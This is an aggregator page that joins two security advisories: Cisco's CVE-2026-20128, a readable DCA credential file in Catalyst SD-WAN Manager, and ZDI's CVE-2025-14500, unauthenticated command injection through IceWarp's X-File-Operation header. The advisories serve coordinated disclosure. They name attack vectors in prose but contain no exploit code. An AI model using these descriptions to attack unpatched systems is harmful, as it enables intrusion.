    A vulnerability in the Data Collection Agent (DCA) feature of Cisco Catalyst SD-WAN Manager could allow an authenticated, local attacker to gain DCA user privileges on an affected system. To exploit this vulnerability, the attacker must have valid vmanage credentials on the affected system.

    This vulnerability is due to the presence of a credential file for the DCA user on an affected system. An attacker could exploit this vulnerability by accessing the filesystem as a low-privileged user and reading the file that contains the DCA password from that affected system. A successful exploit could allow the attacker to access another affected system and gain DCA user privileges.

    Note: Cisco Catalyst SD-WAN Manager releases 20.18 and later are not affected by this vulnerability.

    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

    Bug ID(s): CSCws33585
    CVE ID: CVE-2026-20128
    Security Impact Rating (SIR): Medium
    CVSS Base Score: 5.5
    CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Related vulnerabilities: CVE-2026-20128CVE-2026-20129CVE-2026-20126CVE-2026-20133CVE-2026-20122

JSON

ZDI-25-1072 | Zero Day Initiative

December 10th, 2025

IceWarp14 X-File-Operation Command Injection Remote Code Execution Vulnerability

ZDI-25-1072

ZDI-CAN-27394

  • CVE ID: CVSS SCORE
  • CVE-2025-14500 : 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE ID: AFFECTED VENDORS
  • CVE-2025-14500 : IceWarp
  • CVE ID: AFFECTED PRODUCTS
  • CVE-2025-14500 : IceWarp
  • CVE ID: VULNERABILITY DETAILS
  • CVE-2025-14500 : This vulnerability allows remote attackers to execute arbitrary code on affected installations of IceWarp. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of the X-File-Operation header. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
  • CVE ID: ADDITIONAL DETAILS
  • CVE-2025-14500 : IceWarp has issued an update to correct this vulnerability. More details can be found at: https://support.icewarp.com/hc/en-us/community/posts/40040980098705-EPOS-Update-2-build-9-14-2-0-9
  • CVE ID: DISCLOSURE TIMELINE
  • CVE-2025-14500 : 2025-09-26 - Vulnerability reported to vendor 2025-12-10 - Coordinated public release of advisory 2025-12-10 - Advisory Updated
  • CVE ID: CREDIT
  • CVE-2025-14500 : Oscar Bataille

BACK TO ADVISORIES

Related vulnerabilities: CVE-2025-14500

displaying 1 - 10 bundles in total 127